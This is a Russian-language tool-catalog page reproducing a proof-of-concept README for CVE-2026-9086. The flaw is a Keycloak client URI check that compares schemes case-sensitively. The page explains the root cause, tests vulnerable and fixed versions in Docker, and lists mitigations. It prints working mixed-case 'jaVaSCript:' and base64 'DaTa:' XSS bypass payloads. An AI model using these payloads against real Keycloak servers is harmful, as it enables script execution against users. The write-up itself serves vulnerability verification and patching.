Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-9086-poc — Концепт-доказательство (PoC) для CVE-2026-9086 — обход проверки URI клиента Keycloak с помощью XSS-пейлоадов javascript: и data: в смешанном регистре, с проверкой уязвимой и исправленной версий на основе Docker. | Kitploit
Инструменты/GitHubGitHub/saku0512/cve-2026-9086-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

Концепт-доказательство (PoC) для CVE-2026-9086 — обход проверки URI клиента Keycloak с помощью XSS-пейлоадов javascript: и data: в смешанном регистре, с проверкой уязвимой и исправленной версий на основе Docker.

Репозиторий
121 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-9086: Обход проверки схемы URI в Keycloak, XSS PoC

English version

Обзор

Этот репозиторий содержит Proof of Concept (PoC) для уязвимости межсайтового скриптинга (XSS) CVE-2026-9086 в проверке URI клиента в Keycloak.

Уязвимый Keycloak проверял схемы javascript: и data: в URI, задаваемых для клиентов, с учётом регистра. Поэтому использование смешанного регистра, например jaVaSCript: или DaTa:, позволяет обойти проверку запрещённых схем. Поскольку браузер интерпретирует схемы URI без учёта регистра, переход жертвы по специально созданной ссылке может привести к выполнению JavaScript в origin Keycloak.

Данный PoC запускает Keycloak 26.6.3 (уязвимая версия) и 26.6.4 (исправленная версия) в Docker и регистрирует один и тот же URI смешанного регистра через Admin REST API. Проверяется, что в уязвимой версии регистрация проходит успешно, а в исправленной отклоняется с HTTP 400.

Данный PoC не открывает зарегистрированный URI в браузере и не выполняет JavaScript.


Отказ от ответственности

Этот проект предназначен исключительно для образовательных целей и санкционированных проверок безопасности. Не используйте его для несанкционированного тестирования чужих сред Keycloak. Автор не несёт никакой ответственности за неправомерное использование, ущерб или противоправные действия, связанные с данным инструментом.


Детали уязвимости

  • CVE ID: CVE-2026-9086
  • Продукт: Keycloak / Red Hat build of Keycloak
  • Тип: Cross-Site Scripting (CWE-79)
  • CVSS v3.1: 7.3 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • Требуемые права: разрешение manage-client или доступ к endpoint регистрации клиентов
  • Действие пользователя: требуется переход по специально созданной ссылке
  • Версия для PoC: Keycloak 26.6.3
  • Исправленная версия в PoC: Keycloak 26.6.4
  • Затронутые версии (NVD CPE): Red Hat build of Keycloak 26.4 и выше до 26.4.13, 26.6 и выше до 26.6.4

Корневая причина

До исправления DefaultClientValidationProvider сравнивал запрещённые схемы с помощью String.equals().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equals("data")
        || uri.getScheme().equals("javascript"))) {
    // reject
}

Поскольку java.net.URI#getScheme() сохраняет регистр входных данных, следующие URI не совпадают при сравнении и проходят проверку.

root@kitploit:~
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

В исправленной версии используется equalsIgnoreCase().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equalsIgnoreCase("data")
        || uri.getScheme().equalsIgnoreCase("javascript"))) {
    // reject
}

Proof of Concept (использование)

1. Запуск окружения

Запустите уязвимую и исправленную версии с помощью Docker Compose.

root@kitploit:~
docker compose up -d

Запускаемые экземпляры:

URLВерсияОжидаемый результат
http://localhost:8180Keycloak 26.6.3Регистрация URI успешна (уязвимая)
http://localhost:8181Keycloak 26.6.4HTTP 400 (исправленная)

Первый запуск занимает некоторое время. Проверить состояние можно следующей командой.

root@kitploit:~
docker compose logs -f

Когда в обоих логах появится Listening on, завершите просмотр логов нажатием Ctrl+C.

2. Проверка уязвимой версии

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

Ожидаемый вывод:

root@kitploit:~
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

Скрипт дополнительно получает созданного клиента через Admin API и проверяет, что подконтрольный URI был сохранён.

3. Проверка исправленной версии

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

Ожидаемый вывод:

root@kitploit:~
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. Проверка схемы data:

Указание --scheme data позволяет проверить URI DaTa: смешанного регистра.

root@kitploit:~
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. Очистка

root@kitploit:~
docker compose down -v

Принцип работы PoC

exploit.py выполняет только следующие действия.

  1. Получает административный access-токен с помощью admin-cli
  2. Генерирует случайный идентификатор клиента
  3. Задаёт URI jaVaSCript: или DaTa: смешанного регистра в redirectUris
  4. Отправляет запрос на создание клиента в /admin/realms/master/clients
  5. В уязвимой версии повторно получает сохранённого клиента и проверяет URI
  6. В исправленной версии проверяет HTTP 400 и ошибку о запрещённой схеме

Запуск браузера, переход на зарегистрированный URI и выполнение JavaScript не выполняются.

Меры по устранению

Обновите Keycloak 26.6 до версии 26.6.4 или новее, а Red Hat build of Keycloak 26.4 — до версии 26.4.13 или новее.

Кроме того, проведите аудит настроек URI существующих клиентов и удалите значения, использующие javascript: или data: независимо от регистра. Также ограничьте разрешение manage-client и доступ к endpoint регистрации клиентов минимально необходимым уровнем.

Справочная информация

  • NVD: CVE-2026-9086
  • Red Hat: CVE-2026-9086
  • Keycloak issue #50347
  • Keycloak fix commit 32cdceb
Скачать инструмент